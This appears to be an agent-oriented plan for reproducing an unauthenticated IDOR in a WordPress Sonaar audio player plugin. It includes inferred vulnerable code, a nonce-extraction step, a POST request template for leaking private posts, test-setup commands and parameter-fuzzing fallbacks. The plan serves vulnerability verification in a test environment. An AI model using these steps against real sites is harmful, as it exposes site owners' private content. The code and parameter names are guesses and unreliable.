Exploitation Research Plan: CVE-2026-1219

1. Vulnerability Summary

The MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar plugin (versions 4.0 - 5.10) contains an Insecure Direct Object Reference (IDOR) vulnerability in its AJAX handler load_track_note_ajax. The vulnerability arises because the plugin fails to perform capability checks or validate whether the requested post ID belongs to a public post before returning its content. This allows unauthenticated attackers to disclose the content of private or draft posts by supplying their IDs.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: load_track_note (inferred from function name load_track_note_ajax)
• Vulnerable Parameter: Likely track_id or id (passed via $_POST or $_GET).
• Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
• Preconditions: The attacker must know or guess the ID of a private post.

3. Code Flow (Inferred)

1. Registration: The plugin registers the AJAX action in its initialization phase (likely in a class handling AJAX or the main plugin file).

   add_action( 'wp_ajax_load_track_note', array( $this, 'load_track_note_ajax' ) );
   add_action( 'wp_ajax_nopriv_load_track_note', array( $this, 'load_track_note_ajax' ) );
   

2. Entry Point: An unauthenticated request is sent to admin-ajax.php?action=load_track_note.
3. Vulnerable Function: load_track_note_ajax() retrieves a post ID from the request.

   public function load_track_note_ajax() {
       $track_id = $_POST['id']; // (inferred parameter name)
       // Missing: current_user_can() check
       // Missing: check for post_status == 'publish'
       $post = get_post( $track_id );
       if ( $post ) {
           echo apply_filters( 'the_content', $post->post_content );
       }
       wp_die();
   }
   

4. Information Exposure: The content of the post (even if private) is returned in the HTTP response body.

4. Nonce Acquisition Strategy

The vulnerability is described as an unauthenticated information exposure. If the plugin enforces a nonce via check_ajax_referer, it is likely exposed on any page where the audio player is loaded.

1. Identify Shortcode: The plugin uses [sonaar_audioplayer] or [sonaar_player] (inferred) to render players.
2. Create Trigger Page: Create a public page containing the shortcode to ensure the plugin's scripts and nonces are loaded.
   • wp post create --post_type=page --post_status=publish --post_content='[sonaar_audioplayer]' --post_title='Music Page'
3. Extract Nonce:
   • Navigate to the newly created page.
   • The plugin typically localizes data into a JavaScript object. Based on Sonaar's architecture, look for sonaar_ts or sonaar_music_object.
   • Use browser_eval to extract the nonce:
     browser_eval("window.sonaar_ts?.nonce || window.sonaar_music_object?.nonce")
4. Bypass Check: If the load_track_note action does not call check_ajax_referer or wp_verify_nonce, this step can be skipped.

5. Exploitation Strategy

Step 1: Discover Target ID

Identify the ID of a private post. In a test environment, this will be created during setup.

Step 2: Request Private Content

Send a POST request to the AJAX endpoint.

Request Template:

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=load_track_note&id=<PRIVATE_POST_ID>&nonce=<EXTRACTED_NONCE>

Step 3: Analyze Response

A successful exploit will return the post_content of the private post in the response body with a 200 OK status.

6. Test Data Setup

1. Create Private Content:

   wp post create --post_type=post --post_title='Secret Internal Memo' --post_content='CONFIDENTIAL: The password is "Sonaar2024!"' --post_status=private
   

2. Note the ID: Capture the ID returned by the previous command (e.g., ID: 123).
3. Create Public Player Page (for nonce):

   wp post create --post_type=page --post_status=publish --post_content='[sonaar_audioplayer]' --post_title='Player Page'
   

7. Expected Results

• The http_request tool should receive a response containing the string: CONFIDENTIAL: The password is "Sonaar2024!".
• The request should be performable without any authentication cookies.

8. Verification Steps

1. Confirm Post Privacy: Verify the post is indeed private and not accessible via the standard frontend.
   wp post get <ID> --field=post_status (Should be private).
2. Verify Unauthenticated Access: Ensure the http_request does not include Cookie headers representing a logged-in session.

9. Alternative Approaches

• Parameter Fuzzing: If id does not work, try track_id, post_id, or trackid.
• Method Swap: Try GET instead of POST if the handler uses $_REQUEST.
• Metadata Check: If the response is empty but returns 200 OK, the vulnerability might also allow access to metadata if a different related action like get_track_metadata exists.